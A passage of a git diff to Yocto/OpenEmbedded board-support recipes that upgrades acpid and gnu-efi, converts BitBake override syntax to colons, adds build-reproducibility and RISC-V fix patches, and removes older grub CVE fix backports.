diff --git a/meta/recipes-bsp/acpid/acpid_2.0.32.bb b/meta/recipes-bsp/acpid/acpid_2.0.32.bb
deleted file mode 100644
index 227e4a4675..0000000000
--- a/meta/recipes-bsp/acpid/acpid_2.0.32.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require acpid.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=8ca43cbc842c2336e835926c2166c28b \
- file://acpid.h;endline=24;md5=324a9cf225ae69ddaad1bf9d942115b5"
-
-SRC_URI[md5sum] = "248995264b9d1cd8bdb923d5b190fd44"
-SRC_URI[sha256sum] = "f2d2d30b3edc3234bd82f6f7186699a6aa3c85c8d20bc4e30e9b3c68a1ed157e"
diff --git a/meta/recipes-bsp/acpid/acpid_2.0.33.bb b/meta/recipes-bsp/acpid/acpid_2.0.33.bb
new file mode 100644
index 0000000000..7094ba2662
--- /dev/null
+++ b/meta/recipes-bsp/acpid/acpid_2.0.33.bb
@@ -0,0 +1,6 @@
+require acpid.inc
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=8ca43cbc842c2336e835926c2166c28b \
+ file://acpid.h;endline=24;md5=324a9cf225ae69ddaad1bf9d942115b5"
+
+SRC_URI[sha256sum] = "0856f71b3eb34a1b663d0a8e6363dfcbc519e63d847330498898658e2972dbe8"
diff --git a/meta/recipes-bsp/alsa-state/alsa-state.bb b/meta/recipes-bsp/alsa-state/alsa-state.bb
index cec2272c80..df546633f1 100644
--- a/meta/recipes-bsp/alsa-state/alsa-state.bb
+++ b/meta/recipes-bsp/alsa-state/alsa-state.bb
@@ -49,15 +49,15 @@ do_install() {
PACKAGES += "alsa-states"
-RRECOMMENDS_alsa-state = "alsa-states"
+RRECOMMENDS:alsa-state = "alsa-states"
-RDEPENDS_${PN} = "alsa-utils-alsactl"
-FILES_${PN} = "${sysconfdir}/init.d ${sysconfdir}/asound.conf"
-CONFFILES_${PN} = "${sysconfdir}/asound.conf"
+RDEPENDS:${PN} = "alsa-utils-alsactl"
+FILES:${PN} = "${sysconfdir}/init.d ${sysconfdir}/asound.conf"
+CONFFILES:${PN} = "${sysconfdir}/asound.conf"
-FILES_alsa-states = "${localstatedir}/lib/alsa/*.state"
+FILES:alsa-states = "${localstatedir}/lib/alsa/*.state"
-pkg_postinst_${PN}() {
+pkg_postinst:${PN}() {
if test -z "$D"
then
if test -x ${sbindir}/alsactl
diff --git a/meta/recipes-bsp/apmd/apmd/libtool.patch b/meta/recipes-bsp/apmd/apmd/libtool.patch
index 834ee080a1..fd0a952890 100644
--- a/meta/recipes-bsp/apmd/apmd/libtool.patch
+++ b/meta/recipes-bsp/apmd/apmd/libtool.patch
@@ -1,3 +1,8 @@
+From d5dde7ca91a5aed273d8fe269e1a5194e85c8c79 Mon Sep 17 00:00:00 2001
+From: Scott Garman <scott.a.garman@intel.com>
+Date: Tue, 13 Jul 2010 16:46:46 +0800
+Subject: [PATCH] apmd: upgrade to 3.2.2-14
+
Add by RP to address "unable to infer tagged configuration" error:
commit 35de05e61b88c0808a5e885bb0efdf420555d5ad
Author: Richard Purdie <rpurdie@rpsys.net>
@@ -15,15 +20,18 @@ Upstream-Status: Pending
Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-Index: apmd-3.2.2.orig/Makefile
-===================================================================
---- apmd-3.2.2.orig.orig/Makefile 2004-01-04 08:13:18.000000000 +0000
-+++ apmd-3.2.2.orig/Makefile 2008-04-21 17:10:03.000000000 +0100
-@@ -58,9 +57,8 @@
- #CFLAGS=-O3 -m486 -fomit-frame-pointer
+---
+ Makefile | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/Makefile b/Makefile
+index 92fc0fd..8e283dc 100644
+--- a/Makefile
++++ b/Makefile
+@@ -59,8 +59,8 @@ RANLIB=ranlib
#LDFLAGS=-s
--LIBTOOL=libtool --quiet
+ LIBTOOL=libtool --quiet
-LT_COMPILE = $(LIBTOOL) --mode=compile $(CC)
-LT_LINK = $(LIBTOOL) --mode=link $(CC)
+LT_COMPILE = $(LIBTOOL) --tag=CC --mode=compile $(CC)
diff --git a/meta/recipes-bsp/apmd/apmd_3.2.2-15.bb b/meta/recipes-bsp/apmd/apmd_3.2.2-15.bb
index 82c2649340..1779e8b2a0 100644
--- a/meta/recipes-bsp/apmd/apmd_3.2.2-15.bb
+++ b/meta/recipes-bsp/apmd/apmd_3.2.2-15.bb
@@ -36,14 +36,14 @@ inherit update-rc.d systemd
INITSCRIPT_NAME = "apmd"
INITSCRIPT_PARAMS = "defaults"
-SYSTEMD_SERVICE_${PN} = "apmd.service"
+SYSTEMD_SERVICE:${PN} = "apmd.service"
SYSTEMD_AUTO_ENABLE = "disable"
EXTRA_OEMAKE = "-e MAKEFLAGS="
do_compile() {
# apmd doesn't use whole autotools. Just libtool for installation
- oe_runmake "LIBTOOL=${STAGING_BINDIR_CROSS}/${HOST_SYS}-libtool" apm apmd
+ oe_runmake apm apmd
}
do_install() {
@@ -73,13 +73,13 @@ do_install() {
sed -e 's,/usr/sbin,${sbindir},g; s,/etc,${sysconfdir},g;' ${WORKDIR}/init > ${D}${sysconfdir}/init.d/apmd
chmod 755 ${D}${sysconfdir}/init.d/apmd
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/apmd.service ${D}${systemd_unitdir}/system/
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/apmd.service ${D}${systemd_system_unitdir}/
sed -i -e 's,@SYSCONFDIR@,${sysconfdir},g' \
- -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_unitdir}/system/apmd.service
+ -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_system_unitdir}/apmd.service
}
PACKAGES =+ "libapm apm"
-FILES_libapm = "${libdir}/libapm${SOLIBS}"
-FILES_apm = "${bindir}/apm*"
+FILES:libapm = "${libdir}/libapm${SOLIBS}"
+FILES:apm = "${bindir}/apm*"
diff --git a/meta/recipes-bsp/efibootmgr/efibootmgr_17.bb b/meta/recipes-bsp/efibootmgr/efibootmgr_17.bb
index 5d6f200a73..e9dfa0770e 100644
--- a/meta/recipes-bsp/efibootmgr/efibootmgr_17.bb
+++ b/meta/recipes-bsp/efibootmgr/efibootmgr_17.bb
@@ -10,7 +10,7 @@ DEPENDS = "efivar popt"
COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux"
-SRC_URI = "git://github.com/rhinstaller/efibootmgr.git;protocol=https \
+SRC_URI = "git://github.com/rhinstaller/efibootmgr.git;protocol=https;branch=master \
file://0001-remove-extra-decl.patch \
file://97668ae0bce776a36ea2001dea63d376be8274ac.patch \
"
diff --git a/meta/recipes-bsp/efivar/efivar/determinism.patch b/meta/recipes-bsp/efivar/efivar/determinism.patch
new file mode 100644
index 0000000000..bdf6bfc4a8
--- /dev/null
+++ b/meta/recipes-bsp/efivar/efivar/determinism.patch
@@ -0,0 +1,18 @@
+Fix reproducibility issue caused by unsorted wildcard expansion.
+
+Upstream-Status: Pending
+RP 2021/3/1
+
+Index: git/src/Makefile
+===================================================================
+--- git.orig/src/Makefile
++++ git/src/Makefile
+@@ -15,7 +15,7 @@ TARGETS=$(LIBTARGETS) $(BINTARGETS) $(PC
+ STATICTARGETS=$(STATICLIBTARGETS) $(STATICBINTARGETS)
+
+ LIBEFIBOOT_SOURCES = crc32.c creator.c disk.c gpt.c loadopt.c path-helpers.c \
+- linux.c $(wildcard linux-*.c)
++ linux.c $(sort $(wildcard linux-*.c))
+ LIBEFIBOOT_OBJECTS = $(patsubst %.c,%.o,$(LIBEFIBOOT_SOURCES))
+ LIBEFIVAR_SOURCES = dp.c dp-acpi.c dp-hw.c dp-media.c dp-message.c \
+ efivarfs.c error.c export.c guid.c guids.S guid-symbols.c \
diff --git a/meta/recipes-bsp/efivar/efivar_37.bb b/meta/recipes-bsp/efivar/efivar_37.bb
index 9b95721a4e..fc36913f30 100644
--- a/meta/recipes-bsp/efivar/efivar_37.bb
+++ b/meta/recipes-bsp/efivar/efivar_37.bb
@@ -7,7 +7,8 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=6626bb1e20189cfa95f2c508ba286393"
COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux"
-SRC_URI = "git://github.com/rhinstaller/efivar.git \
+SRC_URI = "git://github.com/rhinstaller/efivar.git;branch=master;protocol=https \
+ file://determinism.patch \
file://no-werror.patch"
SRCREV = "c1d6b10e1ed4ba2be07f385eae5bceb694478a10"
@@ -21,7 +22,7 @@ export CCLD_FOR_BUILD = "${BUILD_CCLD}"
# enforce BFD.
LDFLAGS += "-fuse-ld=bfd"
-do_compile_prepend() {
+do_compile:prepend() {
# Remove when https://github.com/rhboot/efivar/issues/130 is fixed
oe_runmake \
CFLAGS="${BUILD_CFLAGS}" \
@@ -35,6 +36,6 @@ do_install() {
BBCLASSEXTEND = "native"
-RRECOMMENDS_${PN}_class-target = "kernel-module-efivarfs"
+RRECOMMENDS:${PN}:class-target = "kernel-module-efivarfs"
CLEANBROKEN = "1"
diff --git a/meta/recipes-bsp/formfactor/files/qemuppc64/machconfig b/meta/recipes-bsp/formfactor/files/qemuppc64/machconfig
new file mode 100755
index 0000000000..e4717730ea
--- /dev/null
+++ b/meta/recipes-bsp/formfactor/files/qemuppc64/machconfig
@@ -0,0 +1,10 @@
+HAVE_TOUCHSCREEN=0
+HAVE_KEYBOARD=0
+
+DISPLAY_CAN_ROTATE=0
+DISPLAY_ORIENTATION=0
+#DISPLAY_WIDTH_PIXELS=640
+#DISPLAY_HEIGHT_PIXELS=480
+#DISPLAY_BPP=16
+DISPLAY_DPI=150
+DISPLAY_SUBPIXEL_ORDER=vrgb
diff --git a/meta/recipes-bsp/gnu-efi/gnu-efi_3.0.12.bb b/meta/recipes-bsp/gnu-efi/gnu-efi_3.0.12.bb
deleted file mode 100644
index 7888aba0fb..0000000000
--- a/meta/recipes-bsp/gnu-efi/gnu-efi_3.0.12.bb
+++ /dev/null
@@ -1,71 +0,0 @@
-SUMMARY = "Libraries for producing EFI binaries"
-HOMEPAGE = "http://sourceforge.net/projects/gnu-efi/"
-SECTION = "devel"
-LICENSE = "GPLv2+ | BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://gnuefi/crt0-efi-arm.S;beginline=4;endline=16;md5=e582764a4776e60c95bf9ab617343d36 \
- file://gnuefi/crt0-efi-aarch64.S;beginline=4;endline=16;md5=e582764a4776e60c95bf9ab617343d36 \
- file://inc/efishellintf.h;beginline=13;endline=20;md5=202766b79d708eff3cc70fce15fb80c7 \
- file://inc/efishellparm.h;beginline=4;endline=11;md5=468b1231b05bbc84bae3a0d5774e3bb5 \
- file://lib/arm/math.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
- file://lib/arm/initplat.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
- file://lib/aarch64/math.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
- file://lib/aarch64/initplat.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
- "
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/files/${BP}.tar.bz2 \
- file://parallel-make-archives.patch \
- file://lib-Makefile-fix-parallel-issue.patch \
- file://gnu-efi-3.0.9-fix-clang-build.patch \
- "
-
-SRC_URI[md5sum] = "926763ff37bc9db3a9035cec41eb2f45"
-SRC_URI[sha256sum] = "0196f2e1fd3c334b66e610a608a0e59233474c7a01bec7bc53989639aa327669"
-
-COMPATIBLE_HOST = "(x86_64.*|i.86.*|aarch64.*|arm.*)-linux"
-COMPATIBLE_HOST_armv4 = 'null'
-
-do_configure_linux-gnux32_prepend() {
- cp ${STAGING_INCDIR}/gnu/stubs-x32.h ${STAGING_INCDIR}/gnu/stubs-64.h
- cp ${STAGING_INCDIR}/bits/long-double-32.h ${STAGING_INCDIR}/bits/long-double-64.h
-}
-
-def gnu_efi_arch(d):
- import re
- tarch = d.getVar("TARGET_ARCH")
- if re.match("i[3456789]86", tarch):
- return "ia32"
- return tarch
-
-EXTRA_OEMAKE = "'ARCH=${@gnu_efi_arch(d)}' 'CC=${CC}' 'AS=${AS}' 'LD=${LD}' 'AR=${AR}' \
- 'RANLIB=${RANLIB}' 'OBJCOPY=${OBJCOPY}' 'PREFIX=${prefix}' 'LIBDIR=${libdir}' \
- "
-
-# gnu-efi's Makefile treats prefix as toolchain prefix, so don't
-# export it.
-prefix[unexport] = "1"
-
-do_install() {
- oe_runmake install INSTALLROOT="${D}"
-}
-
-FILES_${PN} += "${libdir}/*.lds"
-
-# 64-bit binaries are expected for EFI when targeting X32
-INSANE_SKIP_${PN}-dev_append_linux-gnux32 = " arch"
-INSANE_SKIP_${PN}-dev_append_linux-muslx32 = " arch"
-
-BBCLASSEXTEND = "native"
-
-# It doesn't support sse, its make.defaults sets:
-# CFLAGS += -mno-mmx -mno-sse
-# So also remove -mfpmath=sse from TUNE_CCARGS
-TUNE_CCARGS_remove = "-mfpmath=sse"
-
-python () {
- ccargs = d.getVar('TUNE_CCARGS').split()
- if '-mx32' in ccargs:
- # use x86_64 EFI ABI
- ccargs.remove('-mx32')
- ccargs.append('-m64')
- d.setVar('TUNE_CCARGS', ' '.join(ccargs))
-}
diff --git a/meta/recipes-bsp/gnu-efi/gnu-efi_3.0.14.bb b/meta/recipes-bsp/gnu-efi/gnu-efi_3.0.14.bb
new file mode 100644
index 0000000000..04dadc39d4
--- /dev/null
+++ b/meta/recipes-bsp/gnu-efi/gnu-efi_3.0.14.bb
@@ -0,0 +1,70 @@
+SUMMARY = "Libraries for producing EFI binaries"
+HOMEPAGE = "http://sourceforge.net/projects/gnu-efi/"
+DESCRIPTION = "GNU-EFI aims to Develop EFI applications for ARM-64, ARM-32, x86_64, IA-64 (IPF), IA-32 (x86), and MIPS platforms using the GNU toolchain and the EFI development environment."
+SECTION = "devel"
+LICENSE = "GPLv2+ | BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://gnuefi/crt0-efi-arm.S;beginline=4;endline=16;md5=e582764a4776e60c95bf9ab617343d36 \
+ file://gnuefi/crt0-efi-aarch64.S;beginline=4;endline=16;md5=e582764a4776e60c95bf9ab617343d36 \
+ file://inc/efishellintf.h;beginline=13;endline=20;md5=202766b79d708eff3cc70fce15fb80c7 \
+ file://lib/arm/math.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
+ file://lib/arm/initplat.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
+ file://lib/aarch64/math.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
+ file://lib/aarch64/initplat.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
+ "
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/files/${BP}.tar.bz2 \
+ file://parallel-make-archives.patch \
+ file://lib-Makefile-fix-parallel-issue.patch \
+ file://gnu-efi-3.0.9-fix-clang-build.patch \
+ "
+
+SRC_URI[sha256sum] = "b73b643a0d5697d1f396d7431448e886dd805668789578e3e1a28277c9528435"
+
+COMPATIBLE_HOST = "(x86_64.*|i.86.*|aarch64.*|arm.*)-linux"
+COMPATIBLE_HOST:armv4 = 'null'
+
+do_configure:linux-gnux32:prepend() {
+ cp ${STAGING_INCDIR}/gnu/stubs-x32.h ${STAGING_INCDIR}/gnu/stubs-64.h
+ cp ${STAGING_INCDIR}/bits/long-double-32.h ${STAGING_INCDIR}/bits/long-double-64.h
+}
+
+def gnu_efi_arch(d):
+ import re
+ tarch = d.getVar("TARGET_ARCH")
+ if re.match("i[3456789]86", tarch):
+ return "ia32"
+ return tarch
+
+EXTRA_OEMAKE = "'ARCH=${@gnu_efi_arch(d)}' 'CC=${CC}' 'AS=${AS}' 'LD=${LD}' 'AR=${AR}' \
+ 'RANLIB=${RANLIB}' 'OBJCOPY=${OBJCOPY}' 'PREFIX=${prefix}' 'LIBDIR=${libdir}' \
+ "
+
+# gnu-efi's Makefile treats prefix as toolchain prefix, so don't
+# export it.
+prefix[unexport] = "1"
+
+do_install() {
+ oe_runmake install INSTALLROOT="${D}"
+}
+
+FILES:${PN} += "${libdir}/*.lds"
+
+# 64-bit binaries are expected for EFI when targeting X32
+INSANE_SKIP:${PN}-dev:append:linux-gnux32 = " arch"
+INSANE_SKIP:${PN}-dev:append:linux-muslx32 = " arch"
+
+BBCLASSEXTEND = "native"
+
+# It doesn't support sse, its make.defaults sets:
+# CFLAGS += -mno-mmx -mno-sse
+# So also remove -mfpmath=sse from TUNE_CCARGS
+TUNE_CCARGS:remove = "-mfpmath=sse"
+
+python () {
+ ccargs = d.getVar('TUNE_CCARGS').split()
+ if '-mx32' in ccargs:
+ # use x86_64 EFI ABI
+ ccargs.remove('-mx32')
+ ccargs.append('-m64')
+ d.setVar('TUNE_CCARGS', ' '.join(ccargs))
+}
diff --git a/meta/recipes-bsp/grub/files/0001-RISC-V-Restore-the-typcast-to-long.patch b/meta/recipes-bsp/grub/files/0001-RISC-V-Restore-the-typcast-to-long.patch
new file mode 100644
index 0000000000..2f15a91f68
--- /dev/null
+++ b/meta/recipes-bsp/grub/files/0001-RISC-V-Restore-the-typcast-to-long.patch
@@ -0,0 +1,39 @@
+From e4c41db74b8972285cbdfe614c95c1ffd97d70e1 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 26 Mar 2021 11:59:43 -0700
+Subject: [PATCH] RISC-V: Restore the typcast to 64bit type
+
+this makes the type promotions clear and explicit
+It was already typecasted to long but was accidentally dropped in [1]
+which stated to cause failures on riscv32 as reported in [2]
+
+[1] https://git.savannah.gnu.org/cgit/grub.git/commit/?id=2bf40e9e5be9808b17852e688eead87acff14420
+[2] https://savannah.gnu.org/bugs/index.php?60283
+
+Upstream-Status: Submitted
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Cc: Andreas Schwab <schwab@suse.de>
+Cc: Daniel Kiper <daniel.kiper@oracle.com>
+Cc: Chester Lin <clin@suse.com>
+Cc: Nikita Ermakov <arei@altlinux.org>
+Cc: Alistair Francis <alistair.francis@wdc.com>
+---
+ util/grub-mkimagexx.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/util/grub-mkimagexx.c b/util/grub-mkimagexx.c
+index 00f49ccaa..ac677d03d 100644
+--- a/util/grub-mkimagexx.c
++++ b/util/grub-mkimagexx.c
+@@ -1242,7 +1242,7 @@ SUFFIX (relocate_addrs) (Elf_Ehdr *e, struct section_metadata *smd,
+ */
+
+ sym_addr += addend;
+- off = sym_addr - target_section_addr - offset - image_target->vaddr_offset;
++ off = (grub_int64_t)sym_addr - target_section_addr - offset - image_target->vaddr_offset;
+
+ switch (ELF_R_TYPE (info))
+ {
+--
+2.31.1
+
diff --git a/meta/recipes-bsp/grub/files/CVE-2020-10713.patch b/meta/recipes-bsp/grub/files/CVE-2020-10713.patch
deleted file mode 100644
index c507ed3ea8..0000000000
--- a/meta/recipes-bsp/grub/files/CVE-2020-10713.patch
+++ /dev/null
@@ -1,73 +0,0 @@
-From a4d3fbdff1e3ca8f87642af2ac8752c30c617a3e Mon Sep 17 00:00:00 2001
-From: Peter Jones <pjones@redhat.com>
-Date: Wed, 15 Apr 2020 15:45:02 -0400
-Subject: yylex: Make lexer fatal errors actually be fatal
-
-When presented with a command that can't be tokenized to anything
-smaller than YYLMAX characters, the parser calls YY_FATAL_ERROR(errmsg),
-expecting that will stop further processing, as such:
-
- #define YY_DO_BEFORE_ACTION \
- yyg->yytext_ptr = yy_bp; \
- yyleng = (int) (yy_cp - yy_bp); \
- yyg->yy_hold_char = *yy_cp; \
- *yy_cp = '\0'; \
- if ( yyleng >= YYLMAX ) \
- YY_FATAL_ERROR( "token too large, exceeds YYLMAX" ); \
- yy_flex_strncpy( yytext, yyg->yytext_ptr, yyleng + 1 , yyscanner); \
- yyg->yy_c_buf_p = yy_cp;
-
-The code flex generates expects that YY_FATAL_ERROR() will either return
-for it or do some form of longjmp(), or handle the error in some way at
-least, and so the strncpy() call isn't in an "else" clause, and thus if
-YY_FATAL_ERROR() is *not* actually fatal, it does the call with the
-questionable limit, and predictable results ensue.
-
-Unfortunately, our implementation of YY_FATAL_ERROR() is:
-
- #define YY_FATAL_ERROR(msg) \
- do { \
- grub_printf (_("fatal error: %s\n"), _(msg)); \
- } while (0)
-
-The same pattern exists in yyless(), and similar problems exist in users
-of YY_INPUT(), several places in the main parsing loop,
-yy_get_next_buffer(), yy_load_buffer_state(), yyensure_buffer_stack,
-yy_scan_buffer(), etc.
-
-All of these callers expect YY_FATAL_ERROR() to actually be fatal, and
-the things they do if it returns after calling it are wildly unsafe.
-
-Fixes: CVE-2020-10713
-
-Signed-off-by: Peter Jones <pjones@redhat.com>
-Reviewed-by: Daniel Kiper <daniel.kiper@oracle.com>
-
-Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/grub.git/commit/?id=a4d3fbdff1e3ca8f87642af2ac8752c30c617a3e]
-CVE: CVE-2020-10713
-Signed-off-by: Chee Yang Lee <chee.yang.lee@intel.com>
----
- grub-core/script/yylex.l | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/grub-core/script/yylex.l b/grub-core/script/yylex.l
-index 7b44c37b7..b7203c823 100644
---- a/grub-core/script/yylex.l
-+++ b/grub-core/script/yylex.l
-@@ -37,11 +37,11 @@
-
- /*
- * As we don't have access to yyscanner, we cannot do much except to
-- * print the fatal error.
-+ * print the fatal error and exit.
- */
- #define YY_FATAL_ERROR(msg) \
- do { \
-- grub_printf (_("fatal error: %s\n"), _(msg)); \
-+ grub_fatal (_("fatal error: %s\n"), _(msg));\
- } while (0)
-
- #define COPY(str, hint) \
---
-cgit v1.2.1
-
diff --git a/meta/recipes-bsp/grub/files/CVE-2020-14308-calloc-Use-calloc-at-most-places.patch b/meta/recipes-bsp/grub/files/CVE-2020-14308-calloc-Use-calloc-at-most-places.patch
deleted file mode 100644
index 637e368cb0..0000000000
--- a/meta/recipes-bsp/grub/files/CVE-2020-14308-calloc-Use-calloc-at-most-places.patch
+++ /dev/null
@@ -1,1863 +0,0 @@
-From bcdd6a55952222ec9829a59348240a4f983b0b56 Mon Sep 17 00:00:00 2001
-From: Peter Jones <pjones@redhat.com>
-Date: Mon, 15 Jun 2020 12:26:01 -0400
-Subject: [PATCH 4/9] calloc: Use calloc() at most places
-
-This modifies most of the places we do some form of:
-
- X = malloc(Y * Z);
-
-to use calloc(Y, Z) instead.
-
-Among other issues, this fixes:
- - allocation of integer overflow in grub_png_decode_image_header()
- reported by Chris Coulson,
- - allocation of integer overflow in luks_recover_key()
- reported by Chris Coulson,
- - allocation of integer overflow in grub_lvm_detect()
- reported by Chris Coulson.
-
-Fixes: CVE-2020-14308
-
-Signed-off-by: Peter Jones <pjones@redhat.com>
-Reviewed-by: Daniel Kiper <daniel.kiper@oracle.com>
-
-Upstream-Status: Backport
-CVE: CVE-2020-14308
-
-Reference to upstream patch:
-https://git.savannah.gnu.org/cgit/grub.git/commit/?id=f725fa7cb2ece547c5af01eeeecfe8d95802ed41
-
-[YL: don't patch on grub-core/lib/json/json.c, which is not existing in grub 2.04]
-Signed-off-by: Yongxin Liu <yongxin.liu@windriver.com>
----
- grub-core/bus/usb/usbhub.c | 8 ++++----
- grub-core/commands/efi/lsefisystab.c | 3 ++-
- grub-core/commands/legacycfg.c | 6 +++---
- grub-core/commands/menuentry.c | 2 +-
- grub-core/commands/nativedisk.c | 2 +-
- grub-core/commands/parttool.c | 12 +++++++++---
- grub-core/commands/regexp.c | 2 +-
- grub-core/commands/search_wrap.c | 2 +-
- grub-core/disk/diskfilter.c | 4 ++--
- grub-core/disk/ieee1275/ofdisk.c | 2 +-
- grub-core/disk/ldm.c | 14 +++++++-------
- grub-core/disk/luks.c | 2 +-
- grub-core/disk/lvm.c | 12 ++++++------
- grub-core/disk/xen/xendisk.c | 2 +-
- grub-core/efiemu/loadcore.c | 2 +-
- grub-core/efiemu/mm.c | 6 +++---
- grub-core/font/font.c | 3 +--
- grub-core/fs/affs.c | 6 +++---
- grub-core/fs/btrfs.c | 6 +++---
- grub-core/fs/hfs.c | 2 +-
- grub-core/fs/hfsplus.c | 6 +++---
- grub-core/fs/iso9660.c | 2 +-
- grub-core/fs/ntfs.c | 4 ++--
- grub-core/fs/sfs.c | 2 +-
- grub-core/fs/tar.c | 2 +-
- grub-core/fs/udf.c | 4 ++--
- grub-core/fs/zfs/zfs.c | 4 ++--
- grub-core/gfxmenu/gui_string_util.c | 2 +-
- grub-core/gfxmenu/widget-box.c | 4 ++--
- grub-core/io/gzio.c | 2 +-
- grub-core/kern/efi/efi.c | 6 +++---
- grub-core/kern/emu/hostdisk.c | 2 +-
- grub-core/kern/fs.c | 2 +-
- grub-core/kern/misc.c | 2 +-
- grub-core/kern/parser.c | 2 +-
- grub-core/kern/uboot/uboot.c | 2 +-
- grub-core/lib/libgcrypt/cipher/ac.c | 8 ++++----
- grub-core/lib/libgcrypt/cipher/primegen.c | 4 ++--
- grub-core/lib/libgcrypt/cipher/pubkey.c | 4 ++--
- grub-core/lib/priority_queue.c | 2 +-
- grub-core/lib/reed_solomon.c | 7 +++----
- grub-core/lib/relocator.c | 10 +++++-----
- grub-core/lib/zstd/fse_decompress.c | 2 +-
- grub-core/loader/arm/linux.c | 2 +-
- grub-core/loader/efi/chainloader.c | 2 +-
- grub-core/loader/i386/bsdXX.c | 2 +-
- grub-core/loader/i386/xnu.c | 4 ++--
- grub-core/loader/macho.c | 2 +-
- grub-core/loader/multiboot_elfxx.c | 2 +-
- grub-core/loader/xnu.c | 2 +-
- grub-core/mmap/mmap.c | 4 ++--
- grub-core/net/bootp.c | 2 +-
- grub-core/net/dns.c | 10 +++++-----
- grub-core/net/net.c | 4 ++--
- grub-core/normal/charset.c | 10 +++++-----
- grub-core/normal/cmdline.c | 14 +++++++-------
- grub-core/normal/menu_entry.c | 14 +++++++-------
- grub-core/normal/menu_text.c | 4 ++--
- grub-core/normal/term.c | 4 ++--
- grub-core/osdep/linux/getroot.c | 6 +++---
- grub-core/osdep/unix/config.c | 2 +-
- grub-core/osdep/windows/getroot.c | 2 +-
- grub-core/osdep/windows/hostdisk.c | 4 ++--
- grub-core/osdep/windows/init.c | 2 +-
- grub-core/osdep/windows/platform.c | 4 ++--
- grub-core/osdep/windows/relpath.c | 2 +-
- grub-core/partmap/gpt.c | 2 +-
- grub-core/partmap/msdos.c | 2 +-
- grub-core/script/execute.c | 2 +-
- grub-core/tests/fake_input.c | 2 +-
- grub-core/tests/video_checksum.c | 6 +++---
- grub-core/video/capture.c | 2 +-
- grub-core/video/emu/sdl.c | 2 +-
- grub-core/video/i386/pc/vga.c | 2 +-
- grub-core/video/readers/png.c | 2 +-
- include/grub/unicode.h | 4 ++--
- util/getroot.c | 2 +-
- util/grub-file.c | 2 +-
- util/grub-fstest.c | 4 ++--
- util/grub-install-common.c | 2 +-
- util/grub-install.c | 4 ++--
- util/grub-mkimagexx.c | 6 ++----
- util/grub-mkrescue.c | 4 ++--
- util/grub-mkstandalone.c | 2 +-
- util/grub-pe2elf.c | 12 +++++-------
- util/grub-probe.c | 4 ++--
- 86 files changed, 178 insertions(+), 177 deletions(-)
-
-diff --git a/grub-core/bus/usb/usbhub.c b/grub-core/bus/usb/usbhub.c
-index 34a7ff1..a06cce3 100644
---- a/grub-core/bus/usb/usbhub.c
-+++ b/grub-core/bus/usb/usbhub.c
-@@ -149,8 +149,8 @@ grub_usb_add_hub (grub_usb_device_t dev)
- grub_usb_set_configuration (dev, 1);
-
- dev->nports = hubdesc.portcnt;
-- dev->children = grub_zalloc (hubdesc.portcnt * sizeof (dev->children[0]));
-- dev->ports = grub_zalloc (dev->nports * sizeof (dev->ports[0]));
-+ dev->children = grub_calloc (hubdesc.portcnt, sizeof (dev->children[0]));
-+ dev->ports = grub_calloc (dev->nports, sizeof (dev->ports[0]));
- if (!dev->children || !dev->ports)
- {
- grub_free (dev->children);
-@@ -268,8 +268,8 @@ grub_usb_controller_dev_register_iter (grub_usb_controller_t controller, void *d
-
- /* Query the number of ports the root Hub has. */
- hub->nports = controller->dev->hubports (controller);
-- hub->devices = grub_zalloc (sizeof (hub->devices[0]) * hub->nports);
-- hub->ports = grub_zalloc (sizeof (hub->ports[0]) * hub->nports);
-+ hub->devices = grub_calloc (hub->nports, sizeof (hub->devices[0]));
-+ hub->ports = grub_calloc (hub->nports, sizeof (hub->ports[0]));
- if (!hub->devices || !hub->ports)
- {
- grub_free (hub->devices);
-diff --git a/grub-core/commands/efi/lsefisystab.c b/grub-core/commands/efi/lsefisystab.c
-index df10302..cd81507 100644
---- a/grub-core/commands/efi/lsefisystab.c
-+++ b/grub-core/commands/efi/lsefisystab.c
-@@ -71,7 +71,8 @@ grub_cmd_lsefisystab (struct grub_command *cmd __attribute__ ((unused)),
- grub_printf ("Vendor: ");
-
- for (vendor_utf16 = st->firmware_vendor; *vendor_utf16; vendor_utf16++);
-- vendor = grub_malloc (4 * (vendor_utf16 - st->firmware_vendor) + 1);
-+ /* Allocate extra 3 bytes to simplify math. */
-+ vendor = grub_calloc (4, vendor_utf16 - st->firmware_vendor + 1);
- if (!vendor)
- return grub_errno;
- *grub_utf16_to_utf8 ((grub_uint8_t *) vendor, st->firmware_vendor,
-diff --git a/grub-core/commands/legacycfg.c b/grub-core/commands/legacycfg.c
-index db7a8f0..5e3ec0d 100644
---- a/grub-core/commands/legacycfg.c
-+++ b/grub-core/commands/legacycfg.c
-@@ -314,7 +314,7 @@ grub_cmd_legacy_kernel (struct grub_command *mycmd __attribute__ ((unused)),
- if (argc < 2)
